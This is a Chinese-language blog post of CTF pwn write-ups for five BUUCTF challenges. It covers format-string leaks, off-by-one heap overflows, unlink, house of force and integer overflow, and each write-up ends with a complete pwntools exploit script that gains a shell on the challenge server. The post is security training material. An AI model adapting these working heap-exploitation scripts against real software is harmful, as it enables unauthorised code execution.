BUUCTF pwn wp 96 - 100

axb_2019_heap

axb_2019_heap(master*)$ file axb_2019_heap;checksec axb_2019_heap 
axb_2019_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bdd2a0e3324b99e0d799e1e488ba718ab19f50c3, not stripped
[*] '/home/pwn/桌面/axb_2019_heap/axb_2019_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  banner();
  while ( 1 )
  {
    menu();
    v3 = get_int();
    switch ( v3 )
    {
      case 1:
        add_note();
        break;
      case 2:
        delete_note();
        break;
      case 3:
        puts("None!");
        break;
      case 4:
        edit_note();
        break;
      default:
        puts("No such choices!");
        break;
    }
  }
}

保护全开的heap (终于到正常难度的堆题了
其实还做了一个限制

Reading symbols from axb_2019_heap...
(No debugging symbols found in axb_2019_heap)

先静态分析
banner

unsigned __int64 banner()
{
  char format[12]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to note management system!");
  printf("Enter your name: ");
  __isoc99_scanf("%s", format);
  printf("Hello, ");
  printf(format);
  puts("\n-------------------------------------");
  return __readfsqword(0x28u) ^ v2;
}

fmt漏洞, 可以用来泄露libc和程序基址, 因为开了PIE保护, 所以除了libc地址随机化, 还有程序地址随机化, 需要绕过两个随机化机制.

add

unsigned __int64 add_note()
{
  int v0; // ebx
  int v1; // ebx
  size_t size; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("Enter the index you want to create (0-10):");
  __isoc99_scanf("%d", (char *)&size + 4);
  if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
  {
    if ( counts > 0xAu )
    {
      puts("full!");
      exit(0);
    }
    puts("Enter a size:");
    __isoc99_scanf("%d", &size);
    if ( key == 43 )
    {
      puts("Enter the content: ");
      v0 = HIDWORD(size);
      *((_QWORD *)&note + 2 * v0) = malloc((unsigned int)size);
      *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
      if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
      {
        fwrite("error", 1uLL, 5uLL, stderr);
        exit(0);
      }
    }
    else
    {
      if ( (unsigned int)size <= 0x80 )
      {
        puts("You can't hack me!");
        return __readfsqword(0x28u) ^ v4;
      }
      puts("Enter the content: ");
      v1 = HIDWORD(size);
      *((_QWORD *)&note + 2 * v1) = malloc((unsigned int)size);
      *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
      if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
      {
        fwrite("error", 1uLL, 5uLL, stderr);
        exit(0);
      }
    }
    if ( !(unsigned int)check_pass((char *)&note + 16 * SHIDWORD(size)) )
    {
      puts("go out!hacker!");
      exit(0);
    }
    get_input(*((_QWORD *)&note + 2 * SHIDWORD(size)), (unsigned int)size);
    ++counts;
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v4;
}

delete

unsigned __int64 delete_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Enter an index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
  {
    free(*((void **)&note + 2 * v1));
    *((_QWORD *)&note + 2 * v1) = 0LL;
    *((_DWORD *)&note + 4 * v1 + 2) = 0;
    --counts;
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v2;
}

清空了指针, 无UAF

edit

unsigned __int64 edit_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Enter an index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
  {
    puts("Enter the content: ");
    get_input(*((_QWORD *)&note + 2 * v1), *((unsigned int *)&note + 4 * v1 + 2));
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v2;
}

get_input

size_t __fastcall get_input(__int64 a1, int a2)
{
  size_t result; // rax
  signed int v3; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v3 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v3 + a1);
    result = fread(v4, 1uLL, 1uLL, stdin);
    if ( (int)result <= 0 )
      break;
    if ( *v4 == 10 )
    {
      if ( v3 )
      {
        result = v3 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = (unsigned int)++v3;
      if ( a2 + 1 <= (unsigned int)v3 )
        return result;
    }
  }
  return result;
}

a2 + 1 <= (unsigned int)v3 存在 off-by-one 漏洞

在这里插入图片描述

64位下按rdi, rsi, rdx, rcx, r8, r9, stack传参, __libc_start_main + 240是第15个, 基址参数是第19个

在这里插入图片描述

unsortedbin attack构造两个0x98实现堆块复用, off-by-one改掉chunk头的size低字节
unlink 打note结构体指针指向结构体之前0x18, 然后修改note[0]指针指向free_hook, 改到system

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 29459
filename = "./axb_2019_heap"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
# libc = ELF("./libc-2.23.so") # local libc
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    # context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(idx, size, content):
    io.sendlineafter('>>', '1')
    io.sendlineafter('):', str(idx))
    io.sendlineafter('size:', str(size))
    io.sendlineafter('content:', content)

def delete(idx):
    io.sendlineafter('>>', '2')
    io.sendlineafter('index:', str(idx))

def edit(idx, content):
    io.sendlineafter('>>', '4')
    io.sendlineafter('index:', str(idx))
    io.sendlineafter('content: \n', content)

def show():
    io.sendlineafter('>>', '3')

'''
pwndbg> disass main
Dump of assembler code for function main:
   0x000000000000116a <+0>:	push   rbp
   0x000000000000116b <+1>:	mov    rbp,rsp
'''

def pwn():
    io.recvuntil('name: ')
    io.sendline('%15$p%19$p')
    io.recvuntil('Hello, ')
    libc_base = int(io.recv(14), 16) - 240 - libc.sym['__libc_start_main'] 
    prog_base = int(io.recv(14), 16) - 0x116A # main address: 0x116A
    log.info('program base address: %#x', prog_base)

    system_addr = libc_base + libc.sym['system']
    log.info('system address: %#x', system_addr)
    free_hook = libc_base + libc.sym['__free_hook']
    log.info('free hook address: %#x', free_hook)
    note_addr = prog_base + 0x202060
    log.info('note address: %#x', note_addr)

    add(0, 0x98, 'chunk0')#0
    add(1, 0x98, 'chunk1')#1
    add(2, 0x90, 'chunk2')#2
    add(3, 0x90, '/bin/sh\x00')#3
    # B()
    fake_chunk = p64(0) + p64(0x91) + p64(note_addr-0x18) + p64(note_addr-0x10)
    fake_chunk += cyclic(0x70) + p64(0x90) + b'\xa0'
    edit(0, fake_chunk)
    # B()
    delete(1) # unlink
    # B()
    payload = p64(0) * 3 + p64(free_hook) + p64(0x10)
    edit(0, payload)
    # B()
    edit(0, p64(system_addr))
    # B()
    delete(3) # system('/bin/sh')


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
字符串漏洞 + offbyone + unlink

oneshot_tjctf_2016

oneshot_tjctf_2016(master*)$ file oneshot_tjctf_2016;checksec oneshot_tjctf_2016
oneshot_tjctf_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59, not stripped
[*] '/home/pwn/桌面/oneshot_tjctf_2016/oneshot_tjctf_2016'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF

  setbuf(stdout, 0LL);
  puts("Read location?");
  __isoc99_scanf("%ld", &v4);
  printf("Value: 0x%016lx\n", *(_QWORD *)v4);
  puts("Jump location?");
  __isoc99_scanf("%ld", &v4);
  puts("Good luck!");
  return v4();
}

无后门, 无PIE, 利用puts@got泄露libc, 打one gadget

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 29927
filename = "./oneshot_tjctf_2016"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

'''
oneshot_tjctf_2016(master*)$ one_gadget libc_x64-2.23.so  
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
def pwn():
    puts_got = elf.got['puts']
    io.sendlineafter('Read location?\n', str(puts_got))
    io.recvuntil('Value: ')
    puts_addr = int(io.recvuntil('\n'), 16)
    log.info('puts address: %#x', puts_addr)
    libc_base = puts_addr - libc.sym['puts']
    one_gadget_addr = libc_base + 0x45216
    io.sendafter('Jump location?\n', str(one_gadget_addr))


if __name__ == "__main__":
    pwn()
    io.interactive()

gyctf_2020_force

yctf_2020_force(master*)$ file gyctf_2020_force; checksec gyctf_2020_force 
gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped
[*] '/home/pwn/桌面/gyctf_2020_force/gyctf_2020_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  __int64 v3; // rax
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  memset(s, 255, sizeof(s));
  while ( 1 )
  {
    memset(s, 255, sizeof(s));
    puts("1:add");
    puts("2:puts");
    read(0, nptr, 0xFuLL);
    v3 = atol(nptr);
    if ( v3 == 1 )
    {
      sub_A20();
    }
    else if ( v3 == 2 )
    {
      sub_B92();
    }
  }
}

add

unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

分配堆块大小无限制, 但是输入限制为0x50, 这里有两种可能, 输入很大的size, 或者输入较小的size, 后者可以造成堆溢出, 前者符合house of force的条件.
show

unsigned __int64 show()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts(&byte_D93);
  return __readfsqword(0x28u) ^ v1;
}

在这里插入图片描述
puts了个寂寞

无free, 想到可以house of orange, 不过这里不能打_IO_file
那就是house of force了, (题目提示很明显
想要利用House of force, 需要满足:
(1) 能够以溢出等方式控制top chunk的size域。
(2) 能够自由的分配堆的大小
两个条件都满足
漏洞利用
申请大堆块, 通过mmap分配, 泄露libc(mmap的下一个区域就是libc, 因为程序打印chunk地址所以可以计算出来
house of force劫持top chunk, 实现任意地址写, 打malloc_hook到one gadget
malloc() get shell

top chunk分配到malloc_hook - 0x23的位置, 保留0x7f的size, 绕过检测.
这里 - 0x33, 是因为分配的top chunk会到达malloc_hook - 0x23( - 0x33 + 0x10的header), 然后分配0x10(包括header则有0x20)的chunk, 就会到达malloc_hook.
这里one gadget需要用realloc调整才能满足条件

在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 26351
filename = "./gyctf_2020_force"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so") # remote
# libc = ELF("./libc-2.23.so") # local
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(size, content):
    io.sendlineafter('2:puts\n', '1')
    io.sendlineafter('size\n', str(size))
    io.recvuntil('addr ')
    chunk_addr = int(io.recv(14), 16)
    io.sendlineafter('content\n', content)
    return chunk_addr

'''
glibc 2.23-0ubuntu11
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

def pwn():
    libc_base = add(0x200000, 'chunk0') + 0x200ff0
    log.info('libc base address: %#x', libc_base)
    # B() 
    payload = cyclic(0x10) + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
    heap_base = add(0x18, payload) # overwrite top chunk size
    log.info('heap_base address: %#x', heap_base)
    # B()
    top_chunk = heap_base + 0x10
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    offset = malloc_hook - top_chunk
    log.info('malloc hook address: %#x', malloc_hook)
    log.info('offset: %#x', offset)

    onegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117] # remote libc 0ubuntu11
    # onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247] # local libc 0ubuntu11.3
    one_gadget_addr = libc_base + onegadget[1]
    add(offset - 0x33, 'whatever') # *(malloc_hook - 0x23) == 0x7f
    realloc = libc_base + libc.sym['__libc_realloc']
    log.info('realloc address: %#x', realloc)
    # B()
    payload = cyclic(0x8) + p64(one_gadget_addr) + p64(realloc + 0x10)
    add(0x10, payload)
    # B()
    io.sendlineafter('2:puts\n', '1')
    io.sendlineafter('size\n', str(0x30))


if __name__ == "__main__":
    pwn()
    io.interactive()

护网杯_2018_gettingstart

护网杯_2018_gettingstart(master*)$ file 2018_gettingStart;checksec 2018_gettingStart
2018_gettingStart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped
[*] '/home/pwn/桌面/护网杯_2018_gettingstart/2018_gettingStart'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-18h]
  double v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  v5 = 0x7FFFFFFFFFFFFFFFLL;
  v6 = 1.797693134862316e308;
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL);
  puts("But Whether it starts depends on you.");
  read(0, buf, 0x28uLL);
  if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
    system("/bin/sh");
  }
  else
  {
    puts("Try again!");
  }
  return 0LL;
}

在这里插入图片描述
就是简单buf溢出修改局部变量, 这里v6需要找到0.1的内存表示
在线转换网站

0.1 == 0x3FB999999999999A

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25064
filename = "./2018_gettingStart"
elf = ELF(filename)
libc = ELF("./libc_x64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    payload = cyclic(0x18) + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
    io.sendlineafter('starts depends on you.\n', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

zctf2016_note2

zctf2016_note2(master*)$ file note2; checksec note2 
note2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46dca2e49f923813b316f12858e7e0f42e4a82c3, stripped
[*] '/home/pwn/桌面/zctf2016_note2/note2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
void __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  sub_4009BD(&unk_6020E0, 64LL, 10LL);
  puts("Input your address:");
  sub_4009BD(&unk_602180, 96LL, 10LL);
  while ( 1 )
  {
    switch ( (unsigned int)sub_400AFB() )
    {
      case 1u:
        add();
        break;
      case 2u:
        show();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        delete();
        break;
      case 5u:
        puts("Bye~");
        exit(0);
      case 6u:
        exit(0);
      default:
        continue;
    }
  }
}

add

int add()
{
  unsigned int v1; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]
  const char *chunk_ptr; // [rsp+8h] [rbp-8h]

  if ( (unsigned int)count > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = sub_400A4A();
  if ( size > 0x80 )
    return puts("Too long");
  chunk_ptr = (const char *)malloc(size);
  puts("Input the note content:");
  sub_4009BD((__int64)chunk_ptr, size, 10);
  sub_400B10(chunk_ptr);
  *(&ptr + (unsigned int)count) = (void *)chunk_ptr;
  qword_602140[count] = size;
  v1 = count++;
  return printf("note add success, the id is %d\n", v1);
}

note结构体0x10, 0x8的content指针, 0x8的size

unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

c语言中, 无符号变量和有符号变量比较时, 会将有符号变量转化为无符号变量来比较, 这里a2是size, 设置为0时, 会变成很大的无符号数, 存在整数溢出漏洞, 造成溢出.

delete无悬空指针, show功能正常

edit

unsigned __int64 sub_400D43()
{
  char *v0; // rbx
  int v2; // [rsp+8h] [rbp-E8h]
  int v3; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v5; // [rsp+18h] [rbp-D8h]
  char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
  char *v7; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v8; // [rsp+D8h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  if ( count )
  {
    puts("Input the id of the note:");
    v2 = sub_400A4A();
    if ( v2 >= 0 && v2 <= 3 )
    {
      src = (char *)*(&ptr + v2);
      v5 = qword_602140[v2];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v3 = sub_400A4A();
        if ( v3 == 1 || v3 == 2 )
        {
          if ( v3 == 1 )
            dest[0] = 0;
          else
            strcpy(dest, src);
          v7 = (char *)malloc(0xA0uLL);
          strcpy(v7, "TheNewContents:");
          printf(v7);
          sub_4009BD(v7 + 15, 144LL, 10LL);
          sub_400B10(v7 + 15);
          v0 = v7;
          v0[v5 - strlen(dest) + 14] = 0;
          strncat(dest, v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, dest);
          free(v7);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v8;
}

edit两个功能, 1是覆写, 2是增添字符串
漏洞利用
通过add()的整数溢出漏洞造成堆溢出, 修改下一个chunk的size, unlink打got表, 劫持atoi到system

在这里插入图片描述
在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 26654
filename = "./note2"
elf = ELF(filename)
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
    libc = ELF("./libc-2.23.so")
else:
    libc = ELF("./libc_x64-2.23.so")
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(size, content):
	io.sendlineafter('option--->>', '1')
	io.sendlineafter('Input the length of the note content:(less than 128)', str(size))
	io.sendlineafter('Input the note content:', content)

def show(num):
	io.sendlineafter('option--->>', '2')
	io.sendlineafter('Input the id of the note:', str(num))
	io.recvuntil('Content is ')
	content = io.recv()
	return content

def edit(num, content, num1):
	io.sendlineafter('option--->>', '3')
	io.sendlineafter('Input the id of the note:', str(num))
	io.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]', str(num1))
	io.sendlineafter('TheNewContents:', content)

def delete(num):
    io.sendlineafter('option--->>', '4')
    io.sendlineafter('Input the id of the note:', str(num))

def pwn():
    atoi_got = elf.got['atoi']

    io.sendlineafter('your name:\n', 'falca')
    io.sendlineafter('your address:\n', 'fa1c4')

    note_ptr_addr = 0x602120
    fake_chunk = p64(0) + p64(0x81 + 0x20)
    fake_chunk += p64(note_ptr_addr - 0x18) + p64(note_ptr_addr - 0x10) + cyclic(0x10)
    add(0x80, fake_chunk)
    add(0, 'anything')
    add(0x80, 'chunk1')
    add(0x20, 'chunk2')
    # B()
    payload = cyclic(0x18) + p8(0x90) # chunks replace
    edit(1, payload, 1)
    # B()
    for i in range(7, -1, -1): # shift appending ahead
        payload = cyclic(0x10 + i)
        edit(1, payload, 1)
        # B()
    payload = cyclic(0x10) + p64(0x80 + 0x20)
    edit(1, payload, 1)
    # B()
    delete(2) # unlink
    # B()
    edit(0, cyclic(0x18) + p64(atoi_got), 1)
    # B()
    atoi_addr = u64(show(0)[:6].ljust(8, b'\x00'))
    libc_base = atoi_addr - libc.sym['atoi']
    system_addr = libc_base + libc.sym['system']
    log.info('atoi address: %#x', atoi_addr)
    log.info('libc base address: %#x', libc_base)
    log.info('system address: %#x', system_addr)

    io.sendline('3')
    io.sendlineafter('Input the id of the note:', '0')
    io.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]', '1')
    io.sendlineafter('TheNewContents:', p64(system_addr))
    io.sendlineafter('option--->>', '/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
整数溢出 + unlink

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值